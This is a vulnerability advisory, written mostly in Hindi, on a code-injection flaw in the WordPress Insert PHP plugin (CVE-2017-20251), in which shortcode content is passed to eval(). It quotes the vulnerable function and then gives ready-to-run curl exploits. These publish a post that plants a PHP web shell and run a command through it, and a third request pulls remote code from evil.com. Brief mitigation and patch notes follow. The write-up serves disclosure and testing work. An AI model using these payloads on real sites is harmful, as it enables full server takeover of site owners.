
Insert PHP Plugin PHP Code Injection
इन्सर्ट PHP प्लगइन में शॉर्टकोड प्रोसेसिंग के माध्यम से अप्रमाणित PHP कोड इंजेक्शन
| क्षेत्र | मान |
|---|---|
| CVE ID | CVE-2017-20251 |
| प्लगइन | Insert PHP (अब Woody Code Snippets) |
| प्रभावित संस्करण | < 3.3.1 (परीक्षित 1.3 पर) |
| CWE | CWE-94 (कोड इंजेक्शन) |
| CVSS v3.1 | 9.8 (गंभीर) |
| CVSS वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रकटीकरण | सार्वजनिक (Exploit-DB 41308) |
Insert PHP प्लगइन संस्करण 3.3.1 से पहले रिमोट हमलावरों को एक शॉर्टकोड इंजेक्शन भेद्यता के माध्यम से मनमाना PHP कोड निष्पादित करने की अनुमति देता है। प्लगइन एक [insert_php]...[/insert_php] शॉर्टकोड पंजीकृत करता है जो बिना किसी सैनिटाइजेशन या सत्यापन के PHP के eval() फ़ंक्शन का उपयोग करके शॉर्टकोड टैग के अंदर की सामग्री का सीधे मूल्यांकन करता है।
एक हमलावर जो पोस्ट बना या संशोधित कर सकता है (REST API, XML-RPC, या योगदानकर्ता/व्यवस्थापक पहुंच के माध्यम से) किसी भी पेज या पोस्ट में मनमाना PHP कोड इंजेक्ट कर सकता है जो उनकी सामग्री को प्रस्तुत करता है, और वेब सर्वर पर पूर्ण रिमोट कोड निष्पादन प्राप्त करता है।
भेद्यता will_bontrager_insert_php() फ़ंक्शन में मौजूद है जो the_content फ़िल्टर के रूप में पंजीकृत है:
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- VULNERABLE
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
मुख्य मुद्दे:
eval() को पास की जाती है[insert_php] शॉर्टकोड वाली दुर्भावनापूर्ण सामग्री के साथ एक पोस्ट बनाता या संपादित करता हैthe_content फ़िल्टर चलाता हैeval() सर्वर पर मनमाना PHP कोड निष्पादित करता हैगंभीरता: गंभीर
वेब सर्वर पर पूर्ण रिमोट कोड निष्पादन (RCE):
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
"status": "publish"
}'
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# Verify
cat /var/www/html/rce_poc.txt # Should output: RCE-SUCCESS
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
जब कमजोर शॉर्टकोड संसाधित होता है, तो अंदर का PHP कोड eval() द्वारा निष्पादित होता है। मार्कर फ़ाइल परीक्षण के लिए:
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully
Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server
Verification:
$ cat /var/www/html/marker.txt
SUCCESS
DISALLOW_UNFILTERED_HTML स्थिरांक सेट करें (हालांकि यह मुद्दे को पूरी तरह से कम नहीं करता है)पैच किया गया संस्करण (3.3.1+):
[insert_php] से बदलकर [wbcr_php_snippet] कर दिया गयाeval() उपयोग को हटा दिया गया